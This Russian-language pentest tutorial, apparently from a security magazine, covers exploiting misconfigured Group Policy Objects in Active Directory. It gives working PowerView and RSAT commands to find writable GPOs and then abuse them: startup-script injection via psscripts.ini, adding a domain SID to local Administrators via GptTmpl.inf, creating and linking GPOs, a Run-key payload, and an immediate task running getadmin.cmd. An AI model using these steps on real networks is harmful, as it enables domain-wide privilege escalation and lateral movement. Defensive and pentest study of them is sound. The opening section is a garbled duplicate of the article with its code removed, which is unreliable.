Основная причина успеха большинства взломов, будь то пентест или реальное проникновение злоумышленников, — это допущенные администраторами ошибки в настройках и конфигурации. Сегодня мы поговорим о способах эксплуатации небезопасных групповых политик в сетях Active Directory.
Групповая политика называется Group Policy Object (GPO). Внутри каждой GPO есть две сущности:
Изначально в только что созданном домене будут две политики:
Контейнеры — это лишь дополнительные объекты, позволяющие организовать структуру AD. К контейнеру нельзя привязать GPO. Чтобы применить GPO к контейнеру, сначала следует добавить его в соответствующую OU и уже к ней привязывать GPO.
GPO распространяется по сети через общий сетевой ресурс SYSVOL, который хранится на контроллере домена. Все пользователи в домене обычно имеют к нему доступ и периодически синхронизируются для обновления настроек своих объектов групповой политики. Общий ресурс SYSVOL по умолчанию указывает на каталог
Для синхронизации нужно время. Иногда на обновление настроек может уйти до двух часов. Если нам требуется немедленная синхронизация, то на компьютере надо ввести команду
С GPO могут быть связаны какие‑либо права. Например, пользователь
В результате мы получим GUID всех доступных политик.
Если у нас есть доступ к Active Directory Module, то сможем получить информацию вот так:
Наконец, PowerView имеет такую же функциональность:
Теперь желательно из GUID получить имя политики. Конечно, AD Module и PowerView умеют делать это самостоятельно, но в случае, если у нас есть только GUID, имя можно получить следующим образом:
Мы также можем изучить политики, привязанные к определенному устройству:
Наконец, самое интересное. Пора изучать все ACL на найденные GPO, пытаясь найти мисконфиг. Сделать это можно с помощью разных средств. Чаще всего используются или BloodHound, или PowerView:
Пользователь
Наконец, можно использовать BloodHound:
Теперь, обнаружив политики и возможный мисконфиг в виде пользователя vaska с подозрительными привилегиями, можно приступать к получению учетной записи этого пользователя. Причем разведка на этом не заканчивается, мы можем обнаружить объекты, которые имеют право создавать новые GPO в домене:
Чтобы найти все OU, на которые распространяется политика, воспользуемся вот таким скриптом:
Теперь поищем пользователей, которые могут связывать GPO с OU:
Добавляем оснастку Group Policy Management, выбираем политику и тогда сможем ее редактировать.
Например, создадим юзера, зайдя по следующему пути:
А затем добавим его в группу локальных администраторов:
Например, если наша задача — выполнить скрипт на конечных устройствах, то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.ps1. Содержимое скрипта может быть любым, абсолютно любые команды. Следующим шагом в каталоге \Machine\ в корне GPO потребуется открыть файл psscripts.ini. Это скрытый файл. Если файла не существует, его нужно создать. Содержимое файла будет таким:
Этот файл содержит ссылку на скрипт, который нужно выполнить. Также при необходимости в нем прописываются параметры выполнения (когда они есть). Если нужно запустить несколько скриптов, первый символ в этом файле будет инкрементироваться. Для скрипов
После завершения подготовительных действий остается только изменить атрибут
Значения
Причем если атрибут
Подобным образом можно добавлять локальных администраторов на компьютере. Сначала создаем файл GptTmpl.inf по пути
Здесь к локальной группе локальных администраторов (S-1-5-32-544) добавляется SID доменного пользователя (S-1-5-21-2722789902-3858190539-1593706810-1119). При добавлении пользователя в группу локальных администраторов необходимо учитывать порядок применения GPO. Наши действия могут привести к тому, что легитимные локальные администраторы будут удалены из группы локальных администраторов, поэтому стоит добавить и их SID в файл GptTmpl.inf через запятую.
Следующий шаг заключается в изменении атрибута gpcmachineextensionnames, эту задачу можно выполнить с помощью PowerView:
Помни: если атрибуты gpcuserextensionnames и gpcmachineextensionnames уже содержат другие записи, их также нужно внести в нашу команду PowerView. Наконец, не забудь изменить параметр Version в файле GPT.ini на единицу.
Заводим новую GPO:
Связываем с OU:
После успешного связывания можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инструменты, например SharpGPOAbuse или pyGPOAbuse.
Когда работы завершатся, GPO будет отвязана от OU:
И удалена:
И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш пейлоад:
Если установить RSAT нет возможности, то можно импортировать PowerShell-скрипт, который позволяет создать запланированную задачу:
Автор @MichelleVermishelle
СТРУКТУРА
Групповые политики используются повсеместно. Это удобный инструмент, позволяющий системным администраторам управлять настройками клиентских систем в домене. Сама «архитектура» групповых политик — клиент‑серверная. Чаще всего контроллер домена выступает в роли сервера, на котором создаются, настраиваются и изменяются политики, а доменные компьютеры, пользователи и иные объекты в AD — клиенты, которые эти самые политики получают и применяют.Групповая политика называется Group Policy Object (GPO). Внутри каждой GPO есть две сущности:
- Group Policy Container — специальный объект, который имеет идентификатор GUID, обозначающий групповую политику. Находится в
CN=Policies,CN=System; - Group Policy Template — файлы
.ADMXи.ADML, позволяющие с помощью GPO управлять объектами в AD.
Изначально в только что созданном домене будут две политики:
- Default Domain Policy — назначается текущему домену;
- Default Domain Controller’s Policy — назначается OU, в состав которого входит контроллер домена. По умолчанию имя этой OU —
Domain Controllers.
Контейнеры — это лишь дополнительные объекты, позволяющие организовать структуру AD. К контейнеру нельзя привязать GPO. Чтобы применить GPO к контейнеру, сначала следует добавить его в соответствующую OU и уже к ней привязывать GPO.
GPO распространяется по сети через общий сетевой ресурс SYSVOL, который хранится на контроллере домена. Все пользователи в домене обычно имеют к нему доступ и периодически синхронизируются для обновления настроек своих объектов групповой политики. Общий ресурс SYSVOL по умолчанию указывает на каталог
C:\Windows\SYSVOL\sysvol\ на контроллере домена.Для синхронизации нужно время. Иногда на обновление настроек может уйти до двух часов. Если нам требуется немедленная синхронизация, то на компьютере надо ввести команду
Код:
gpupdate /force
Admin11111 имеет право GenericAll на политику UsersInfo. Неправильная настройка таких прав приводит к появлению векторов эксплуатации, которые мы рассмотрим в сегодняшней статье.ОБНАРУЖЕНИЕ
Обнаружить доступные GPO можно следующим образом:
Код:
ls \\<домен>\SYSVOL\<домен>\Policies\
В результате мы получим GUID всех доступных политик.
Если у нас есть доступ к Active Directory Module, то сможем получить информацию вот так:
Код:
Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" -Properties Name, DisplayName,gPCFileSysPath | select Name, DisplayName,GPCFileSysPath | Format-List
Наконец, PowerView имеет такую же функциональность:
Код:
Get-NetGpo
Теперь желательно из GUID получить имя политики. Конечно, AD Module и PowerView умеют делать это самостоятельно, но в случае, если у нас есть только GUID, имя можно получить следующим образом:
Код:
# RSAT
Get-Gpo -GUID '{205F0E03-17C3-4E9B-925E-330FAD565CA1}'
# PowerView v3
Get-DomainGPO -Identity '{205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName
Мы также можем изучить политики, привязанные к определенному устройству:
Код:
# PowerView v2
Get-NetGPO -ComputerName name.domain.com
# PowerView v3
Get-DomainGPO -ComputerIdentity name.domain.com -Properties Name, DisplayName
Наконец, самое интересное. Пора изучать все ACL на найденные GPO, пытаясь найти мисконфиг. Сделать это можно с помощью разных средств. Чаще всего используются или BloodHound, или PowerView:
Код:
# PowerView v2
# Получение ACL на все политики
Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# Найти GPO, на которые пользователь student имеет права
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "student"}
Пользователь
vaska имеет подозрительно высокие права на GPO с GUID {31B2F340-016D-11D2-945F-00C04FB984F9}. PowerView третьей версии (он же PowerView DEV) не отстает от своего младшего собрата, но отличается тем, что не умеет автоматически преобразовывать SID в понятное для человека имя пользователя, поэтому в конец каждого командлета добавляется огромная строка:
Код:
# PowerView v3
# Находим ACL на все политики
Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}
# Находим GPO, на которые у пользователя domain\user есть права
Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user")) {$_}}
# Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права:
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
# Обнаружение пользователей (кроме ожидаемых, таких как Enterprise Admins, Domain Admins), которые могут изменять GPO
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
Код:
// Находим политики, на которые пользователь USER@DOMAIN.LOCAL имеет права
match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p
Код:
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" }
Код:
# PowerView v2
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
# PowerView v3
Get-DomainOU -GPLink '{<GPP_GUID>}' | % {Get-DomainObject -SearchBase $_.distinguishedname}|select samaccounttype, cn
Теперь поищем пользователей, которые могут связывать GPO с OU:
Код:
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" }
Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.ObjectAceType -match "GP-Link|GP-Options") -and ($_.ActiveDirectoryRights -eq "WriteProperty")) -or ($_.ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}
ЭКСПЛУАТАЦИЯ
mmc
Криво настроенные права можно эксплуатировать и с помощью стандартного приложения mmc.exe, установленного на каждом компьютере c Windows. Сначала запускаем это приложение от лица пользователя, имеющего права на какую‑либо политику. Далее добавляем нужную оснастку.
Добавляем оснастку Group Policy Management, выбираем политику и тогда сможем ее редактировать.
Например, создадим юзера, зайдя по следующему пути:
Код:
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Create > User name: <user>
Код:
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > New > Local User > Action: Update > Group name : <Administrators> > Members: Add: <user>
Файл .ini
Этот способ я подсмотрел у Дмитрия Неверова, руководителя группы анализа защищенности внутренней инфраструктуры в компании «Ростелеком‑Солар». Чаще всего доступа к графическому интерфейсу у нас не будет, поэтому придется либо использовать инструменты, описанные ниже, либо вручную создавать специальный конфигурационный файл.Например, если наша задача — выполнить скрипт на конечных устройствах, то сначала нужно создать каталог \Machine\Scripts\Startup в корне GPO и поместить в него скрипт Test.ps1. Содержимое скрипта может быть любым, абсолютно любые команды. Следующим шагом в каталоге \Machine\ в корне GPO потребуется открыть файл psscripts.ini. Это скрытый файл. Если файла не существует, его нужно создать. Содержимое файла будет таким:
Код:
[Startup]
0CmdLine=Test.ps1
0Parameters=
.bat используется файл scripts.ini.После завершения подготовительных действий остается только изменить атрибут
gpcmachineextensionnames с помощью PowerView:
Код:
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'=' [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]'}
42B5FAAE-6536-11D2-AE5A-0000F87571E3 и 40B6664F-4972-11D1-A7CA-0000F87571E3 документированы как ProcessScriptsGroupPolicy и Scripts (Startup/Shutdown). Используя их в GPO, мы создаем возможность выполнения скрипта при применении групповой политики.Причем если атрибут
gpcmachineextensionnames уже содержит другие записи, то их тоже нужно внести в команду. Также стоит изменить параметр Version в файле GPT.ini на единицу. Теперь после перезагрузки компьютера скрипт Test.ps1 будет выполнен. По умолчанию задержка на выполнение скриптов составляет пять минут.Подобным образом можно добавлять локальных администраторов на компьютере. Сначала создаем файл GptTmpl.inf по пути
\Machine\Microsoft\Windows NT\SecEdit (иногда эти каталоги отсутствуют и их придется создать). Содержимое файла будет следующим:
Код:
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Group Membership]
*S-1-5-32-544__Members = *S-1-5-21-2722789902-3858190539-1593706810-1119
Следующий шаг заключается в изменении атрибута gpcmachineextensionnames, эту задачу можно выполнить с помощью PowerView:
Код:
Set-DomainObject -Identity VulnGPO -Set @{'gpcmachineextensionnames'='[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'}
827D319E-6EAC-11D2-A4EA-00C04F79F83A имеет значение Security, а 803E14A0-B4FB-11D0-A0D0-00A0C90F574B — Computer Restricted Groups. Применяя их к GPO, мы можем изменять списки участников локальных групп.Помни: если атрибуты gpcuserextensionnames и gpcmachineextensionnames уже содержат другие записи, их также нужно внести в нашу команду PowerView. Наконец, не забудь изменить параметр Version в файле GPT.ini на единицу.
Создание GPO
Если на этапе разведки получилось обнаружить пользователя, который имеет право создавать GPO и связывать ее с OU, то это также может помочь при эксплуатации. PowerView не имеет возможности создавать GPO, поэтому следует использовать RSAT. Установка этой утилиты не представляет никаких сложностей:
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy
Заводим новую GPO:
Код:
New-Gpo -Name TestGPO
Связываем с OU:
Код:
Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local"
После успешного связывания можно либо вручную изменять созданную GPO, как было показано выше, либо использовать для этого подходящие инструменты, например SharpGPOAbuse или pyGPOAbuse.
Когда работы завершатся, GPO будет отвязана от OU:
Код:
Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local"
Код:
Remove-GPO -Name TestGPO
Перемещение через GPO
Ничто не мешает нам использовать GPO как средство бокового перемещения. Опять же ставим RSAT:
Код:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy
И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш пейлоад:
Код:
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
Код:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName "VictimGPO" -Verbose -Force
ВЫВОДЫ
Групповые политики стоят далеко не на самом первом месте в чек‑листе типовых уязвимостей Active Directory. Тем не менее, злоупотребляя ими, атакующий сможет получить чрезвычайно выгодное положение, захватив сразу целый OU. Самое главное — не забывай, что изменения применяются далеко не сразу. Компьютерам нужно время для синхронизации. Если ждать нет возможности, используй командуgpupdate /force.Автор @MichelleVermishelle